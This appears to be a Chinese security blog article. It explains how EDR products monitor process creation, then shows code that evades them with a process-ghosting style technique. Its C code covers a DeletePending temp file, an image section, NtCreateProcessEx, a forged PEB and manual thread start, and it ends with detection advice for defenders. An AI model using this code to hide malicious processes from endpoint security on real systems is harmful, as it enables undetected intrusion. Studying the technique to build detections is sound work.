共计 9984 个字符,预计需要花费 25 分钟才能阅读完成。
- 进程伪装与隐匿技术在 EDR 与杀毒软件对抗中的实战分析
- [https://mp.weixin.qq.com/](https://mp.weixin.qq.com/s?chksm=ea0ca03edd7b29284584020236d28a64526dc7eaf33b3bdb025f59dcfd4e6b10b8cf4ba6747a&exptype=unsubscribed_card_recommend_item_heat_tlfeeds&ranksessionid=1753424906_1&mid=2247485302&sn=195daae27f50d92d8a4aa85003e2ed3a&haid=4089945660756295684&idx=1&__biz=MzI1ODA2MDgzOQ%3D%3D&scene=169&subscene=200&sessionid=1753424905&flutter_pos=7&clicktime=1753425027&enterid=1753425027&finder_biz_enter_id=5&jumppath=WebViewStubProxyUI_1753424961573%2CGestureGalleryUI_1753424961703%2C20020_1753424968641%2C50094_1753425019970&jumppathdepth=4&ascene=56&fasttmpl_type=0&fasttmpl_fullversion=7834476-zh_CN-zip&fasttmpl_flag=0&realreporttime=1753425027501&devicetype=android-35&version=28003c40&nettype=WIFI&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&session_us=gh_6af15c3f6e66&countrycode=CN&exportkey=n_ChQIAhIQPJB6y1gnnaE9pGWWtDGpwRLxAQIE97dBBAEAAAAAAH2RETykWDsAAAAOpnltbLcz9gKNyK89dVj0iQNKR%2Foexl38zggzCBBtfGnZ5FlJy3JBZ2VN1CUE9iooqs43XmVdLlK2G2Y8jVhIFe0tz5Kk5DGKADgaTJRv7ZoHdxZPTdafnZEQ2%2FYWgdaINRak1f2JsQYgSRID%2F7%2FoSJI%2Bx1dQrcK6F8OkCreKYzEqoZD1vdT%2FsjqRphBrn3A1Gdkpgrpbx0ls4mZkwVslna8Ep6Im8kkeD0P%2BfHi800FVWcrjH8fTuCVIyDBuJ%2Fr7ILNe%2FWNHpc8ztKW9QA%2B6lntVrbsZr1Ba2Ls%3D&pass_ticket=v%2Bd0Zomr4W%2Bg099aI8YfTw7cTcs8M3JlQqm6eN1btl6xZo5pSdDSyBBscD%2FbmAWq&wx_header=3)
- 2025-07-25
前言
随着攻击技术的不断演进,传统的杀毒软件(AV
)逐渐发展为具备实时监测、行为关联、威胁狩猎能力的终端检测与响应系统(EDR
)。作为现代安全防御体系的重要组成部分,EDR 借助内核回调、系统调用拦截、用户态代理等手段,对终端的进程、线程、注册表、文件行为等进行持续监控与响应。
为了更好理解 EDR
的工作机制与对抗思路,本文将以 EDR
检测路径与内核 API
分析切入,深入拆解其检测原理,识别潜在的盲区,并从红队与蓝队视角探讨进程伪装与隐匿的实战技术与防御建议。
从杀毒软件到 EDR:演进路径与挑战
传统 AV
软件主要依赖静态签名检测,对病毒库的覆盖率与更新速度要求极高。随着攻击技术的快速演进(如无文件化攻击、内存注入、代码混淆等),这些机制逐渐失效。为此,EDR 应运而生,其核心特点包括:
- 以终端为感知中心,实时捕获系统事件;
- 支持数据溯源、行为关联与策略响应;
- 强化对内核级、内存级攻击的感知与处置能力。
从 AV
到 EDR
的转变,不只是功能叠加,更是从 基于文件检测 到基于行为分析 的范式转移。
EDR 的检测机制
EDR 的核心能力来自两个方面:
- 内核层回调与 Hook:实时捕捉系统行为(如进程创建、映像加载、线程启动)
- 用户态代理服务:进行行为分析、日志上传、策略下发与自保护
内核回调机制与 Hook
EDR
通过内核回调与 Hook
技术来对系统行为进行实时监控,最核心的功能就是监控进程创建、线程启动和映像加载等系统级行为。内核回调机制,作为 EDR 的基础功能之一,能提供高效且精确的系统级事件捕获,从而实现更早期的威胁检测。
内核层的回调与 Hook
使得 EDR
可以在进程创建、线程启动等关键行为发生时,实时获取系统事件。这些回调机制是通过将 Hook
注册到操作系统的核心 API
上,实现对进程行为的实时感知:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
NTSTATUS PsSetCreateProcessNotifyRoutine(
PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
BOOLEAN Remove
);
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
BOOLEAN Remove
);
NTSTATUS PsSetCreateProcessNotifyRoutineEx2(
PSCREATEPROCESSNOTIFYTYPE NotifyType,
PVOID NotifyInformation,
BOOLEAN Remove
);
相关函数说明:
-
PsSetCreateProcessNotifyRoutine
:注册回调函数,在进程创建或终止时被触发。 -
PsSetCreateProcessNotifyRoutineEx
:扩展版的回调,提供更详细的进程信息。 -
PsSetCreateProcessNotifyRoutineEx2
:支持按进程属性过滤的进程通知回调
这些函数在进程创建时 (通常在 NtCreateUserProcess
被调用的时刻)触发注册回调,为 EDR
提供了实时的进程行为感知入口。回调触发后,EDR
可以执行以下一系列监控动作:
- 执行文件扫描:对进程映像(主模块和加载的
DLL
)进行签名校验、静态规则比对(如YARA
)、路径合法性检查; - 注入监控 DLL:通过
AppInit_DLLs
、CreateRemoteThread
或内核代理技术向目标进程注入监控模块,用于后续API
拦截与行为分析; - 核查启动路径与权限属性:包括进程映像是否位于受信路径、是否由合法父进程创建、是否有执行权限越权(如低完整性创建高权限进程);
- 建立进程行为画像:为进程建立初始安全基线,包括句柄行为、模块加载、线程调用等,为后续关联分析提供上下文。
EDR
的文件扫描操作通常发生在系统启动阶段,尤其是在进程创建时 。通过回调机制,EDR
系统可以同步扫描进程的PE
文件和内存映像,确保恶意软件不被载入和执行。
而 扫描仅在进程启动时触发,而非在后续的操作中,以减少对系统性能的影响。
值得注意的是,这个回调机制只能捕获
在调用
NtCreateUserProcess
时同步创建的进程,若使用更底层如
NtCreateProcessEx
且未立即启动线程,将不会触发这些回调,所以这个是EDR
的检测盲区。
NtCreateUserProcess
NtCreateUserProcess
是内核级进程创建的核心 NTAPI
。EDR
默认会监控此函数,因为它封装了进程创建的完整过程,包括 PE
文件的加载、线程初始化、句柄分配等。通过该函数,EDR
可以获取进程创建的完整上下文信息,增强其检测能力。
NtCreateUserProcess 的监控要点
- 完整性:该函数封装了进程创建的所有细节,因此 ED 可以在回调阶段获取完整的进程信息。
- 不可分割性:进程和首个线程的创建是一个原子操作,外部无法在中间状态进行干预,从而减少绕过的风险。
- 回调触发:调用此函数时,会触发内核通知链(如进程创建回调、映像加载回调),EDR 可以同步进行扫描工作。
所有高层进程创建 API
最终都会调用内核级别的 NtCreateUserProcess
,因此所有进程创建行为都可以归结到这个统一的内核函数。
无论开发者使用的是Win32 API
还是 NTAPI
,最终的创建调用都会落入此函数,从而形成了一个统一的检测入口:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
NTSTATUS NtCreateUserProcess(
PHANDLE ProcessHandle,
PHANDLE ThreadHandle,
ACCESS_MASK ProcessDesiredAccess,
ACCESS_MASK ThreadDesiredAccess,
...
);
进程创建的调用链
-
Win32 API
(如CreateProcess
)→CreateProcessInternalW
→NtCreateUserProcess
-
NTAPI
(如RtlCreateUserProcess
)→RtlpCreateUserProcessEx
→NtCreateUserProcess
EDR 监控方式
当 NtCreateUserProcess
触发内核回调链时(如 PsSetCreateProcessNotifyRoutineEx
),EDR
可同步获取:
- 进程镜像(
SectionHandle
对应的 PE 文件) - 初始线程上下文(
ThreadContext
) - 安全属性(
PS_ATTRIBUTE_LIST
)
所以,EDR
可以通过监控 NtCreateUserProcess
的调用来覆盖所有进程创建的监控需求。
用户态代理与行为分析
除了依赖内核回调机制,EDR
还通过用户态代理服务实现对系统行为的全面监控和分析。用户态代理主要负责执行安全策略、采集行为数据,并配合内核模块完成威胁检测。
用户态代理的作用
监控
- 进程行为:监测进程的启动、命令行参数、父子关系等,发现异常操作(如恶意进程劫持)。
- 文件操作:记录进程对文件的读取、修改、加密等行为,识别如勒索加密等攻击。
- 网络连接:追踪进程访问的 IP 或域名,检测是否与恶意地址通信。
- API 调用:分析进程调用的关键系统函数,辅助判断行为目的和攻击意图。
行为分析与关联分析
EDR
不仅收集单一事件,还会对行为进行分析和关联,识别潜在攻击链。例如:
- 检测某进程启动后立即访问外部地址,并修改系统文件;
- 将进程行为、网络活动、文件操作等信息关联分析,判断是否为攻击行为。
进程伪装与隐匿的技术实践
NtCreateProcessEx
是早期的低级 NTAPI
接口,允许进程和线程分离。与标准的 NtCreateUserProcess
不同,NtCreateProcessEx
可以先创建一个进程对象,但不立即启动线程。因此,攻击者可以在启动线程之前篡改进程内存或删除文件,进而规避EDR
在进程创建阶段的检测。具体表现为:
- 文件被加载到内存后立即删除,导致没有磁盘痕迹。
- 进程的线程未启动,因此回调机制不会触发。
典型攻击手法
- 文件置换:加载
PE
文件后删除原始文件,绕过静态扫描。 - 延迟线程启动:挂起进程,手动注入代码后再执行。
- 伪造映像路径:伪装成合法进程,如
svchost.exe
。
接下来,咱们来复现一种典型的绕过技术:通过临时文件加载恶意 PE
文件,利用 NtCreateProcessEx
创建挂起进程,绕过进程创建回调与文件扫描,再手动伪造 PEB
结构并启动首线程,最终实现“无文件”进程伪装执行。
1. 创建临时文件并标记删除(绕过磁盘扫描)
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
wchar_t path[MAX_PATH] = {0};
GetTempPathW(MAX_PATH, path); // 获取系统临时目录,例如 C:\Users\XXX\AppData\Local\Temp
wchar_t tempFile[MAX_PATH] = {0};
GetTempFileNameW(path, L"TEMP", 0, tempFile); // 创建唯一的临时文件路径
// 创建可读写 + 可删除的临时文件句柄
HANDLE hTempFile = CreateFileW(
tempFile,
GENERIC_READ | GENERIC_WRITE | DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
);
EDR
常在文件落地或打开阶段执行静态扫描,通过标记文件为“待删除”状态(DeletePending
),可以在加载完成后自动销毁磁盘文件,降低暴露的风险。
设置删除标记:
ounter(lineounter(lineounter(line
FILE_DISPOSITION_INFORMATION fdi = {TRUE}; // 标记文件为删除状态
IO_STATUS_BLOCK iosb = {0};
NtSetInformationFile(hTempFile, &iosb, &fdi, sizeof(fdi), FileDispositionInformation);
2. 写入恶意 Payload
这里以 calc.exe
作为示例:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
HANDLE hPayload = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD payloadSize = GetFileSize(hPayload, NULL);
BYTE* payloadBuffer = new BYTE[payloadSize];
DWORD bytesRead;
ReadFile(hPayload, payloadBuffer, payloadSize, &bytesRead, NULL);
CloseHandle(hPayload);
// 写入恶意 PE 到临时文件
DWORD bytesWritten;
WriteFile(hTempFile, payloadBuffer, payloadSize, &bytesWritten, NULL);
delete[] payloadBuffer;
由于文件标记了
DeletePending
,所以关闭句柄后将自动从磁盘移除。
创建映像 Section(SEC_IMAGE)
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
HANDLE hSection;
status = NtCreateSection(
&hSection, SECTION_ALL_ACCESS, NULL, 0,
PAGE_READONLY, SEC_IMAGE, hTempFile
);
CloseHandle(hTempFile); // 文件立即删除
技术点:
-
SEC_IMAGE
将临时文件内容映射为可执行映像段(类似于内存中的PE
映像)- 映像数据留存在内存中,不依赖磁盘,绕过磁盘落地扫描
-
Section
可以被多个进程共享,配合NtCreateProcessEx
实现进程伪装
4. 利用 NtCreateProcessEx 创建挂起进程(绕过进程创建回调)
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
HANDLE hProcess;
status = NtCreateProcessEx(
&hProcess,
PROCESS_ALL_ACCESS,
NULL, GetCurrentProcess(), // 父进程
PS_INHERIT_HANDLES,
hSection, NULL, NULL,
FALSE // FALSE 表示挂起状态,不启动线程
);
与
NtCreateUserProcess
不同,此API
不会自动创建主线程,EDR 常用的进程创建回调不会在此阶段触发。
5. 构造 PEB 参数(伪造进程路径与命令行)
ounter(lineounter(lineounter(lineounter(lineounter(line
UNICODE_STRING imagePath;
RtlInitUnicodeString(&imagePath, L"C:\\Windows\\System32\\calc.exe");
PRTL_USER_PROCESS_PARAMETERS pParams = nullptr;
RtlCreateProcessParametersEx(&pParams, &imagePath, NULL, NULL, &imagePath, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
注入 ProcessParameters
到子进程 PEB
中:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
PROCESS_BASIC_INFORMATION pbi = {0};
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
PVOID pebAddress = pbi.PebBaseAddress;
// 写入 PEB->ProcessParameters 字段
PVOID paramLocation = (PBYTE)pebAddress + offsetof(PEB, ProcessParameters);
WriteProcessMemory(hProcess, paramLocation, &pParams, sizeof(pParams), NULL);
PEB
伪造用于欺骗用户态EDR
的进程路径、命令行、环境变量检查,可模拟合法进程如svchost.exe
等。
6. 启动主线程(执行入口)
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
// 示例:根据 PE Header 假设入口地址为 0x10001000
LPVOID entry = (LPVOID)((ULONGLONG)0x10000000 + 0x1000);
HANDLE hThread;
status = NtCreateThreadEx(
&hThread, THREAD_ALL_ACCESS, NULL,
hProcess, entry, NULL, FALSE,
0, 0, 0, NULL
);
技术点:
- 手动启动线程跳过了标准
API
(如CreateProcess
、ResumeThread
)- 若入口地址手动计算错误,进程可能崩溃;可用
RtlImageNtHeader
从映像中解析入口点
7. 清理资源
ounter(lineounter(lineounter(line
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSection);
攻击链路径与绕过点复盘
阶段 | 绕过手法 | 绕过点说明 |
---|---|---|
创建映像 | 临时文件 + DeletePending | 文件删除后仅存在内存中,无法扫描 |
创建进程 | NtCreateProcessEx | 不触发 PsSetCreateProcessNotifyRoutine 回调 |
设置参数 | 手动构造 ProcessParameters | 仿冒系统进程路径、命令行一致性伪造 |
启动线程 | NtCreateThreadEx | 绕过 ResumeThread、API Hook |
完整过程 | 无磁盘落地 + 手动伪装 + 内存执行 | 几乎全部避开常规 EDR 检测链条 |
EDR 检测方法
1. 监控异常进程创建
- 检测 NtCreateProcessEx 调用:对该函数的异常调用进行检测,分析是否存在绕过行为,例如内存映射的 PE 文件。
- 检测无文件 PE 映像:通过内存扫描检测是否存在无磁盘痕迹的 PE 文件,避免仅依赖文件系统的扫描。
2. PEB 参数与进程一致性检查
- PEB 校验:定期检查进程的 PEB(进程环境块)中的
ProcessParameters
是否符合预期,发现异常后及时警告。 - 注入参数校验:通过对比
RtlCreateProcessParametersEx
和目标进程的参数,检查是否存在不一致或恶意注入行为。
3. 行为分析与线程监控
- 首次线程行为分析:监控进程首次线程的启动地址,确保其符合正常的进程行为。
- 监控进程与线程的内存权限:确保进程和线程的内存访问权限符合预期,防止恶意代码在不受控制的内存区域执行。
4. 文件完整性检查
- 临时文件与文件句柄监控:监控所有临时文件的创建与删除操作,确保无异常的文件操作,并分析文件句柄的生命周期。
总结
EDR 的局限性
方法 | 功能 | 局限 |
---|---|---|
内存扫描 | 检测无文件 PE 映像 | 易受混淆和加壳干扰 |
映像映射异常检测 | 检查非标准加载方式 | 高误报、需白名单 |
API 调用序列分析 | 识别异于常规启动链的行为 | 攻击者可模拟正常链 |
此外,PatchGuard
和 ELAM
(Early Launch AntiMalware)对非法内核修改起到一定抑制作用,但 EDR
本身也必须绕开 PatchGuard
的限制才能实现深度防护,导致不少安全厂商使用 VTx
虚拟化技术(如 360 的核晶引擎)进行隔离执行。
红蓝对抗视角
维度 | 蓝队策略 | 红队绕过方式 |
---|---|---|
进程回调 | PsSetCreateProcessNotifyRoutineEx | NtCreateProcessEx 绕过 |
文件扫描 | 映像路径 + 磁盘扫描 | 内存加载 + DeletePending 文件 |
行为检测 | API 调用链建模、线程行为监控 | 延迟注入、自定义入口点 |
映像完整性 | ImageLoad 回调扫描 | 映像劫持、手动 PEB 构造 |
调用链追溯 | Kernel Stack Trace + ETW | Syscall 直接调用、伪装 ParentProcess |
内存状态 | PE 结构检测、内存段偏移分析 | 混淆 PE 头、内联 Shellcode |
参考
- https://mp.weixin.qq.com/s/HUrrFPy0I1ZNk3OuvEkMsA
- https://hackmag.com/security/process-ghosting
- https://hackmag.com/security/cold-boot-attack
- https://hackmag.com/security/python-pyramid
- https://hackmag.com/security/evil-modem
- https://hackmag.com/mobile/xamarin-reverse
- https://hackmag.com/security/smartcard-attacks
- https://hackmag.com/security/enumeration-guide